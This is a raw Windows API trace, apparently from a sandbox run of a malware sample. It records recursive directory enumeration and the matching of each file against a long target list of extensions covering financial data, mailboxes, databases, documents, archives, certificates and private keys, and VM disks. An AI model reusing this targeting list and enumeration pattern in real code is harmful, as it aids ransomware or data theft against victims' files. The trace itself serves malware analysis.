lstrlenA (lpString="*.qbx") returned 5 [0104.768] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.qba") returned 0 [0104.768] lstrlenA (lpString="*.qba") returned 5 [0104.769] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.qby") returned 0 [0104.769] lstrlenA (lpString="*.qby") returned 5 [0104.769] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.qbj") returned 0 [0104.769] lstrlenA (lpString="*.qbj") returned 5 [0104.769] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.ofx") returned 0 [0104.769] lstrlenA (lpString="*.ofx") returned 5 [0104.769] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.qif") returned 0 [0104.769] lstrlenA (lpString="*.qif") returned 5 [0104.769] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.mye") returned 0 [0104.769] lstrlenA (lpString="*.mye") returned 5 [0104.769] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.mbox") returned 0 [0104.769] lstrlenA (lpString="*.mbox") returned 6 [0104.769] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.eml") returned 0 [0104.769] lstrlenA (lpString="*.eml") returned 5 [0104.769] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.pst") returned 0 [0104.769] lstrlenA (lpString="*.pst") returned 5 [0104.769] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.ost") returned 0 [0104.769] lstrlenA (lpString="*.ost") returned 5 [0104.769] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.idx") returned 0 [0104.769] lstrlenA (lpString="*.idx") returned 5 [0104.769] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.dbx") returned 0 [0104.769] lstrlenA (lpString="*.dbx") returned 5 [0104.769] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.sql") returned 0 [0104.770] lstrlenA (lpString="*.sql") returned 5 [0104.770] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.mdb") returned 0 [0104.770] lstrlenA (lpString="*.mdb") returned 5 [0104.770] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.fdb") returned 0 [0104.770] lstrlenA (lpString="*.fdb") returned 5 [0104.770] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.wab") returned 0 [0104.770] lstrlenA (lpString="*.wab") returned 5 [0104.770] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.dat") returned 0 [0104.770] lstrlenA (lpString="*.dat") returned 5 [0104.770] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.txt") returned 0 [0104.770] lstrlenA (lpString="*.txt") returned 5 [0104.770] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.jpeg") returned 0 [0104.770] lstrlenA (lpString="*.jpeg") returned 6 [0104.770] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.jpg") returned 0 [0104.770] lstrlenA (lpString="*.jpg") returned 5 [0104.770] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.png") returned 0 [0104.770] lstrlenA (lpString="*.png") returned 5 [0104.770] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.php") returned 0 [0104.770] lstrlenA (lpString="*.php") returned 5 [0104.770] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.cs") returned 0 [0104.770] lstrlenA (lpString="*.cs") returned 4 [0104.770] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.cpp") returned 0 [0104.771] lstrlenA (lpString="*.cpp") returned 5 [0104.771] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.rar") returned 0 [0104.771] lstrlenA (lpString="*.rar") returned 5 [0104.771] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.zip") returned 0 [0104.771] lstrlenA (lpString="*.zip") returned 5 [0104.771] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.html") returned 0 [0104.771] lstrlenA (lpString="*.html") returned 6 [0104.771] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.htm") returned 0 [0104.771] lstrlenA (lpString="*.htm") returned 5 [0104.771] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.xlsx") returned 0 [0104.771] lstrlenA (lpString="*.xlsx") returned 6 [0104.771] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.xls") returned 0 [0104.771] lstrlenA (lpString="*.xls") returned 5 [0104.771] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.mp4") returned 0 [0104.771] lstrlenA (lpString="*.mp4") returned 5 [0104.771] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.ppt") returned 0 [0104.771] lstrlenA (lpString="*.ppt") returned 5 [0104.771] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.pptx") returned 0 [0104.771] lstrlenA (lpString="*.pptx") returned 6 [0104.771] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.doc") returned 0 [0104.772] lstrlenA (lpString="*.doc") returned 5 [0104.772] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.dot") returned 0 [0104.772] lstrlenA (lpString="*.dot") returned 5 [0104.772] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.docx") returned 0 [0104.772] lstrlenA (lpString="*.docx") returned 6 [0104.772] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.7z") returned 0 [0104.772] lstrlenA (lpString="*.7z") returned 4 [0104.772] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.tar") returned 0 [0104.772] lstrlenA (lpString="*.tar") returned 5 [0104.772] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.bz2") returned 0 [0104.772] lstrlenA (lpString="*.bz2") returned 5 [0104.772] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.gz") returned 0 [0104.772] lstrlenA (lpString="*.gz") returned 4 [0104.772] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.mkv") returned 0 [0104.772] lstrlenA (lpString="*.mkv") returned 5 [0104.772] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.eml") returned 0 [0104.772] lstrlenA (lpString="*.eml") returned 5 [0104.772] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.msg") returned 0 [0104.772] lstrlenA (lpString="*.msg") returned 5 [0104.772] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.edb") returned 0 [0104.773] lstrlenA (lpString="*.edb") returned 5 [0104.773] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.accdb") returned 0 [0104.773] lstrlenA (lpString="*.accdb") returned 7 [0104.773] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.odb") returned 0 [0104.773] lstrlenA (lpString="*.odb") returned 5 [0104.773] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.java") returned 0 [0104.773] lstrlenA (lpString="*.java") returned 6 [0104.773] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.asm") returned 0 [0104.773] lstrlenA (lpString="*.asm") returned 5 [0104.773] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.pfx") returned 0 [0104.773] lstrlenA (lpString="*.pfx") returned 5 [0104.773] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.pem") returned 0 [0104.773] lstrlenA (lpString="*.pem") returned 5 [0104.773] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.p12") returned 0 [0104.773] lstrlenA (lpString="*.p12") returned 5 [0104.773] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.gpg") returned 0 [0104.773] lstrlenA (lpString="*.gpg") returned 5 [0104.773] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.vsd") returned 0 [0104.773] lstrlenA (lpString="*.vsd") returned 5 [0104.773] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.odg") returned 0 [0104.773] lstrlenA (lpString="*.odg") returned 5 [0104.774] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.raw") returned 0 [0104.774] lstrlenA (lpString="*.raw") returned 5 [0104.774] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.nef") returned 0 [0104.774] lstrlenA (lpString="*.nef") returned 5 [0104.774] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.svg") returned 0 [0104.774] lstrlenA (lpString="*.svg") returned 5 [0104.774] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.psd") returned 0 [0104.774] lstrlenA (lpString="*.psd") returned 5 [0104.774] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.vmx") returned 0 [0104.774] lstrlenA (lpString="*.vmx") returned 5 [0104.774] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.vmdk") returned 0 [0104.774] lstrlenA (lpString="*.vmdk") returned 6 [0104.774] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.vdi") returned 0 [0104.774] lstrlenA (lpString="*.vdi") returned 5 [0104.774] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.lay6") returned 0 [0104.774] lstrlenA (lpString="*.lay6") returned 6 [0104.774] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.mpeg") returned 0 [0104.774] lstrlenA (lpString="*.mpeg") returned 6 [0104.774] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.djvu") returned 0 [0104.774] lstrlenA (lpString="*.djvu") returned 6 [0104.774] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.tiff") returned 0 [0104.774] lstrlenA (lpString="*.tiff") returned 6 [0104.774] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.backup") returned 0 [0104.774] lstrlenA (lpString="*.backup") returned 8 [0104.775] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.pdf") returned 0 [0104.775] lstrlenA (lpString="*.pdf") returned 5 [0104.775] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.cert") returned 0 [0104.775] lstrlenA (lpString="*.cert") returned 6 [0104.775] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.docm") returned 0 [0104.775] lstrlenA (lpString="*.docm") returned 6 [0104.775] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.xlsm") returned 0 [0104.775] lstrlenA (lpString="*.xlsm") returned 6 [0104.775] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.dwg") returned 0 [0104.775] lstrlenA (lpString="*.dwg") returned 5 [0104.775] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.nd") returned 0 [0104.775] lstrlenA (lpString="*.nd") returned 4 [0104.775] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.tlg") returned 0 [0104.775] lstrlenA (lpString="*.tlg") returned 5 [0104.775] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.lgb") returned 0 [0104.775] lstrlenA (lpString="*.lgb") returned 5 [0104.775] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.mov") returned 0 [0104.775] lstrlenA (lpString="*.mov") returned 5 [0104.775] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.xdw") returned 0 [0104.775] lstrlenA (lpString="*.xdw") returned 5 [0104.775] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.ods") returned 0 [0104.775] lstrlenA (lpString="*.ods") returned 5 [0104.776] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.wav") returned 0 [0104.776] lstrlenA (lpString="*.wav") returned 5 [0104.776] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.mp3") returned 0 [0104.776] lstrlenA (lpString="*.mp3") returned 5 [0104.776] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.aiff") returned 0 [0104.776] lstrlenA (lpString="*.aiff") returned 6 [0104.776] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.flac") returned 0 [0104.776] lstrlenA (lpString="*.flac") returned 6 [0104.776] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.m4a") returned 0 [0104.776] lstrlenA (lpString="*.m4a") returned 5 [0104.776] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.csv") returned 0 [0104.776] lstrlenA (lpString="*.csv") returned 5 [0104.776] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf10c9456, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf10c9456, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf1246219, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x798200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0104.776] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0104.776] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf139ce7b, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf139ce7b, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf139ce7b, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="9e0a3b9b9f457233a335d7fba8f95419", cAlternateFileName="9E0A3B~1")) returned 0 [0104.776] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0104.776] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c938978, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5c938978, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5c938978, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.AddIn", cAlternateFileName="SYSTEM~1.ADD")) returned 1 [0104.776] lstrcmpA (lpString1=".", lpString2="System.AddIn") returned -1 [0104.777] lstrcmpA (lpString1="..", lpString2="System.AddIn") returned -1 [0104.777] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0104.777] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.AddIn" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn" [0104.777] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn") returned 59 [0104.777] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c938978, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5c938978, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5c938978, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0104.777] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.777] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c938978, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5c938978, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5c938978, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.777] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.778] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.778] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c938978, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5c938978, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5c938978, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="29c55874e34f9d5cd3ea739262f48adc", cAlternateFileName="29C558~1")) returned 1 [0104.778] lstrcmpA (lpString1=".", lpString2="29c55874e34f9d5cd3ea739262f48adc") returned -1 [0104.778] lstrcmpA (lpString1="..", lpString2="29c55874e34f9d5cd3ea739262f48adc") returned -1 [0104.778] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\*.*") returned="*.*" [0104.778] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\", lpString2="29c55874e34f9d5cd3ea739262f48adc" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc" [0104.778] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc") returned 92 [0104.778] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c938978, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5c938978, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5c938978, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0104.778] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.778] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c938978, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5c938978, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5c938978, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.778] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.778] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.778] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c8c6557, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5c8c6557, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5c8ec6b7, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x9aa00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.AddIn.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0104.778] 